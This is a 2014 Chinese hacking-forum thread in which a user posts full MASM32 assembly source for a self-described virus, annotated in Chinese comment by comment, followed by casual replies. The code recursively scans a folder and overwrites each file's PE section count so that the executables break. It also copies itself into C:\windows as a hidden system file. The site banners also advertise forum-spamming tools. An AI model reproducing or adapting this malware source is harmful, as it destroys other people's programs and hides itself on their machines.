梦殇国际

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 刷粉
月光下载 云刷粉软件 云刷粉网页 水贴机电脑版 安卓软件 梦殇导航(教程集合) 有任何问题请点击提问
查看: 2421|回复: 22
打印 上一主题 下一主题

[其他] 注释翻译汇编写的一个病毒代码

[复制链接]

229

帖子

3356

积分

5万

TBS

UID
549
积分
3356
TBS
51673
智商
1538
节操
1531
海贝
1
阅读权限
60
在线时间
147 小时
注册时间
2014-1-3
最后登录
2015-6-23
跳转到指定楼层
1
发表于 2014-7-1 17:30:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  1. 代码是小生在某社区写的,我发现这个代码没有注释,他就是说了一下这个干什么用的.汇编没注释代码看不下去,于是花了一个小时给每一句添加注释和解析,如有错误还请指教 ,作用是破坏某文件下的文件的PE结构
复制代码
  1. .model flat,stdcall
  2. option casemap:none
  3. include windows.inc
  4. include user32.inc
  5. include kernel32.inc
  6. includelib kernel32.lib
  7. includelib kernel32.lib
  8. ;********************************************************************
  9. .data
  10. sz1 db 'D:\1\',0
  11. sz2 db '*.*',0
  12. sz3 db 32 dup(?)
  13. sz4 db 32 dup(?)
  14. sz5 db 'C:\windows\system32.exe',0
  15. p2  dd ?
  16. ;*************************小生写的一个病毒*******************************************
  17. .code
  18. _FindFile       proc        _lpszPath
  19.                         local   @stFindFile:WIN32_FIND_DATA                ;WIN32_FIND_DATA结构类型的变量,看意思就能看出来干嘛的了,寻找数据,然后存放数据信息(这里数据指的应该是文件的信息)
  20.                         local   @hFindFile
  21.                         local   @szPath[MAX_PATH]:byte                         ;路径大小为MAX_PATH也就是256字节的变量存储路径
  22.                         local   @szSearch[MAX_PATH]:byte
  23.                         local   @szFindFile[MAX_PATH]:byte
  24.                         pushad                                                              ;保存目前的寄存器值
  25.          invoke lstrcpy,addr @szPath,_lpszPath                           ;传进来的路径的指针复制给变量szPath
  26. ;**************************************梦殇·华丽注释******************************
  27.                         invoke  lstrlen,addr @szPath                          ;求出路径的长度
  28.                         lea     esi,@szPath                                         ;在一次把路径地址传给寄存器esi,为了使用伪指令
  29.                         add     esi,eax                                              ;路径的起始地址加线长得出路径的末尾地址交给esi
  30.                         xor     eax,eax                                           ;eax置0
  31.                         mov     al,'\'                                               ;给8位寄存器al赋值
  32.                         .if     byte ptr [esi-1] != al                            ;判断路径的尾部是不是 '\'(路径末尾地址中存放的值是不是\)
  33.                                 mov     word ptr [esi],ax                    ;不是的话就添加'\0',添加ax是因为ax的低八位是\ ax的高八位是0x00
  34.                         .endif
  35.                         invoke  lstrcpy,addr @szSearch,addr @szPath                      ;路径复制给szSearch这个变量的地址中
  36.                         invoke  lstrcat,addr @szSearch,addr sz2                ;连接字符串,把传进来的路径连接全局变量'*.*'意思是扫目标路径下的全部文


  37. ;***********************************梦殇·华丽注释*********************************
  38. invoke      FindFirstFile,addr @szSearch,addr @stFindFile                ;寻找第一个文件返回文件句柄,并置文件的信息结构于变量@stFindFile
  39. .if         eax !=  INVALID_HANDLE_VALUE                                      ;如果寻找到的不是无效的句柄,也就是寻找成功的话
  40.                 mov     @hFindFile,eax                                                   ;取到返回的文件句柄
  41.                 .repeat
  42.                         invoke  lstrcpy,addr @szFindFile,addr @szPath                ;路径复制给变量@szFindFile,这个变量就是上边那个 'XXX路径\'
  43.                         invoke   lstrcat,addr @szFindFile,addr @stFindFile.cFileName        ;再让路径连接找到的文件名称'XXX\路径\找到的文件'
  44.                         .if     @stFindFile.dwFileAttributes  & FILE_ATTRIBUTE_DIRECTORY        ;判断找到的文件的属性是不是目录,位与操作如果
  45. 是目录的话1 & 1肯定是1 是1就进入判断
  46.                                 .if     @stFindFile.cFileName != '.'                            ;一个.表示是不是上一级目录,俩个..表示根目录,这里我也忘了是不
  47. 是这个意思
  48.                                         invoke  _FindFile,addr @szFindFile                   ;是目录的话就递归调用,文件的寻找大部分都是递归
  49.                                 .endif
  50.                         .else                                                   ;不是目录是文件的情况下
  51.    invoke lstrcpy,offset sz3,addr @szFindFile                ;拷贝目录给sz3(sz3是32字节大小的,我不知道他为何不给一个MAX_PATH)
  52.                         call ww1                                             ;修改PE,这个函数在下边讲解
  53.                         .endif
  54.                         invoke  FindNextFile,@hFindFile,addr @stFindFile                ;寻找下一个文件,和上边那个东东用法一样
  55.             .until  eax == FALSE                         ;直到找不到下一个文件,也就是照完了的情况下退出循环
  56.             invoke  FindClose,@hFindFile            ;寻找完后关闭文件句柄
  57. .endif
  58. ;************************************梦殇·华丽注释********************************
  59.                     popad                        ;出栈寄存器,恢复值
  60.                     ret
  61. _FindFile       endp

  62. ww1 proc
  63.         LOCAL file:OPENFILENAME                ;修改PE肯定先要打开一个文件,那么就先定义一个这么样的结构变量
  64.         LOCAL h1,l1,p1,s1                           ;名字敢不敢叫的再奇葩点
  65.         invoke CreateFile,offset sz3,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL                                                                     ;sz3在遍历目录的时候已经赋值了,值就是目标感染程序名称,打开这个文件获取权限为可读可写,返回的是文件对象的句柄
  66.         mov h1,eax                                 ;文件句柄交给h1
  67.         invoke GetFileSize,eax,NULL        ;获取文件大小
  68.         mov l1,eax                                 ;大小交给l1
  69.         ;开始最重要的部分
  70.         invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE        ;申请内存空间,参数0表示系统决定新的内存块的位置,eax是分配内存的大小,等于文件的大小,并设置该内存页是可读可写的权限
  71.         mov p1,eax                                                               ;上边那个函数返回分配到的新的内存块的指针,交给p1
  72.         invoke RtlZeroMemory,eax,l1                                     ;新内存块填0,相当于初始化一下
  73.         invoke ReadFile,h1,p1,l1,offset p2,NULL                      ;h1是目标文件的句柄,把读到的数据保存到缓冲区p1,p1就是刚才申请的新的内存块,11是读入的字节数,读入11字节(由于是简单的修改PE)p2是个32位的双字型指针,他保存了实际读到的字节数
  74.         mov esi,p1                                                                ;现在新的内存块有了数据,把他转移给寄存器esi,此时esi就是程序的装入地址,因为系统装载程序就是从新的内存地址中开始装入的
  75.         assume esi:ptr IMAGE_DOS_HEADER                         ;关联DOS头,此时寄存器esi指向文件dos头地址
  76.         mov eax,[esi].e_lfanew                                         ;然后使用esi根据dos头的结构的字段e_lfanew获取PE头,此时eax就指向了PE头
  77.         mov ecx,eax                                                       ;pe头指针给ecx
  78.         add esi,eax                 ;此时的地址是RVA地址(我凑这个是很重要的概念),rva地址是偏移地址,所以再加装载地址得到了PE头的真正地址
  79.         assume esi:ptr IMAGE_NT_HEADERS                                     ;得到PE头的真正地址后关联PE头结构,esi是指向PE头的指针
  80.         movzx eax,[esi].FileHeader.NumberOfSections                        ;接下来就要到PE的节了,首先根据PE头结构中的字段获取节数目给eax
  81.         inc eax                                                                              ;节数目(eax)自增1节表数=节数,破坏PE结构的节数
  82.         ;dec eax
  83.         mov s1,eax                                                      ;节表数交给s1
  84.         add ecx,6                                                        ;ecx+6由于PE头结构里面有一个字段还嵌套一个结构,+6后刚好是指向节数的地址
  85.         invoke SetFilePointer,h1,ecx,NULL,FILE_BEGIN                ;设置欲要读写的指针的位置指向文件开始处,目标是目标文件的句柄,这个函数读写位置不是真正的地址,而是一个相当于PE头地址的偏移地址,所以插入ecx这个偏移地址,指针移动到节的地址
  86.         invoke WriteFile,h1,addr s1,2,offset p2,0                          ;设置好指针后就开始写,2是要写入的长度2,p2是实际写入的数量,写入的数据是s1这样就改变了PE的节达到破坏PE程序的目的(这个地方说错了还请指教)
  87.         invoke CloseHandle,h1                                      ;关闭文件对象句柄
  88.         ret
  89. ww1 endp
  90. ;*************************************梦殇·华丽注释*******************************
  91. run proc                                                                               ;初始化的操作
  92.         invoke GetModuleHandle,NULL                                      ;获取模块句柄
  93.         invoke GetModuleFileName,NULL,offset sz4,32                ;获取模块名存放在缓存sz4中,缓存大小是32
  94.         invoke CopyFile,offset sz4,offset sz5,FALSE                     ;自身拷贝,做木马副本
  95.         invoke SetFileAttributes,offset sz5,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM        ;设置文件属性,隐藏文件并设置为系统级文件
  96.         ret
  97. run endp
  98. ;*************************************梦殇·华丽注释*******************************
  99. start:
  100.         call run                        ;初始化
  101.         lea eax,offset sz1        ;目标感染文件是D:\1\,复制给寄存器eax
  102.         push eax                    ;把他入栈保存起来
  103.         call _FindFile                ;开始遍历目录并逐一感染
  104. ;********************************************************************
  105. end start
复制代码



全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复

使用道具 举报

2万

帖子

1万

积分

229

TBS

[      冷的不行 眼眶却涨着热泪为幼稚说抱歉     

UID
197
积分
11059
TBS
229
智商
8731
节操
9315
海贝
42
阅读权限
200
在线时间
437 小时
注册时间
2014-1-2
最后登录
2016-8-30

二逼青年

QQ
2
发表于 2014-7-1 17:31:07 | 只看该作者
= = 好厉害。@小B 帮你瞧瞧

点评

花神已进化到汇编无人能及→_→  详情 回复 发表于 2014-7-1 18:00
[ 人前笑语花相映,人后哭泣倩谁听 ]
回复 支持 反对

使用道具 举报

4万

帖子

8650

积分

2468

TBS

UID
4
积分
8650
TBS
2468
智商
22695
节操
21782
海贝
1577
阅读权限
200
在线时间
3057 小时
注册时间
2014-1-1
最后登录
2024-4-20

在线时间长爱心大使梦殇元老

QQ
3
发表于 2014-7-1 17:31:15 | 只看该作者
你的代码在哪里去了

点评

不会用dz,格式一下全没了  详情 回复 发表于 2014-7-1 17:44
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

22万

帖子

6万

积分

6万

TBS

❤牵着我的手❤闭着眼睛走你也不会迷路❤

UID
77
积分
67552
TBS
65989
智商
75025
节操
75016
海贝
1142
阅读权限
150
在线时间
6092 小时
注册时间
2014-1-2
最后登录
2023-6-29

二逼青年榜上有名在线时间长水货统领签到达人

QQ
4
发表于 2014-7-1 17:35:18 | 只看该作者
华彩大神的说
回复 支持 反对

使用道具 举报

<

12万

帖子

17万

积分

2万

TBS

♥有时温暖我们的恰恰 是那些素未谋面不怎么深知的网络中人♥

UID
211
积分
176154
TBS
25565
智商
26901
节操
37063
海贝
297
阅读权限
150
在线时间
7336 小时
注册时间
2014-1-2
最后登录
2021-9-18

二逼青年水货勋章榜上有名在线时间长签到达人

QQ
5
发表于 2014-7-1 17:36:22 | 只看该作者
学霸你好
只闻花香  不谈喜悲  喝茶读书  不争朝夕  做一个温暖的人
回复

使用道具 举报

229

帖子

3356

积分

5万

TBS

UID
549
积分
3356
TBS
51673
智商
1538
节操
1531
海贝
1
阅读权限
60
在线时间
147 小时
注册时间
2014-1-3
最后登录
2015-6-23
6
 楼主| 发表于 2014-7-1 17:44:43 | 只看该作者
阿星 发表于 2014-7-1 17:31
你的代码在哪里去了

不会用dz,格式一下全没了

点评

上面工具栏有个代码,不过就多一个行号而已,都不会高亮  详情 回复 发表于 2014-7-1 18:01
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

9181

帖子

4385

积分

6917

TBS

吊炸天

UID
5
积分
4385
TBS
6917
智商
6440
节操
44171
海贝
624
阅读权限
200
在线时间
1975 小时
注册时间
2014-1-1
最后登录
2023-12-21

二逼青年

QQ
7
发表于 2014-7-1 18:00:26 爪机党 | 只看该作者
负荷 发表于 2014-7-1 17:31
= = 好厉害。@小B 帮你瞧瞧

花神已进化到汇编无人能及→_→
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

9181

帖子

4385

积分

6917

TBS

吊炸天

UID
5
积分
4385
TBS
6917
智商
6440
节操
44171
海贝
624
阅读权限
200
在线时间
1975 小时
注册时间
2014-1-1
最后登录
2023-12-21

二逼青年

QQ
8
发表于 2014-7-1 18:01:16 爪机党 | 只看该作者
华彩篇章 发表于 2014-7-1 17:44
不会用dz,格式一下全没了

上面工具栏有个代码,不过就多一个行号而已,都不会高亮
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

9181

帖子

4385

积分

6917

TBS

吊炸天

UID
5
积分
4385
TBS
6917
智商
6440
节操
44171
海贝
624
阅读权限
200
在线时间
1975 小时
注册时间
2014-1-1
最后登录
2023-12-21

二逼青年

QQ
9
发表于 2014-7-1 18:02:26 爪机党 | 只看该作者
我花了5分钟就看明白mov call

点评

我靠 这么厉害 我都不知道什么意思啊  详情 回复 发表于 2014-7-1 20:24
逼神已经掌握精髓  详情 回复 发表于 2014-7-1 18:09
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

229

帖子

3356

积分

5万

TBS

UID
549
积分
3356
TBS
51673
智商
1538
节操
1531
海贝
1
阅读权限
60
在线时间
147 小时
注册时间
2014-1-3
最后登录
2015-6-23
10
 楼主| 发表于 2014-7-1 18:09:39 | 只看该作者
小B 发表于 2014-7-1 18:02
我花了5分钟就看明白mov call

逼神已经掌握精髓

点评

毛线,看肥甲鱼的c教程教我毛线汇编,简直是卖广告  详情 回复 发表于 2014-7-1 18:11
全站禁止灌水,后果自负 月光爆吧器 积分充值 签名档设置 积分记录 新人必备
梦殇qq群 欢迎加入群内禁止传播黄色信息!
①群:515706814 爆吧□顶贴□机器 ②群:94025161 贴吧推广□爆吧□软件 ③群:549343908 营销推广□贴吧□软件
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

GMT+8, 2024-4-20 17:46,Processed in 0.051476 second(s), 44 queries.

Powered by Discuz!X3.4© 2001-2013 Comsenz Inc. 手机版|黑名单|站点地图|RGB转16进制|梦殇国际 MSI

贴吧交流群:172119290 | 编程交流群:232677917 | 官方YY频道:13234704 | 本站所有软件仅供学习交流使用!

工信部备案:赣ICP备14004172号-1 | 如有需要请联系 邮箱:541641237#qq.com (点击发邮件)

快速回复 返回顶部 返回列表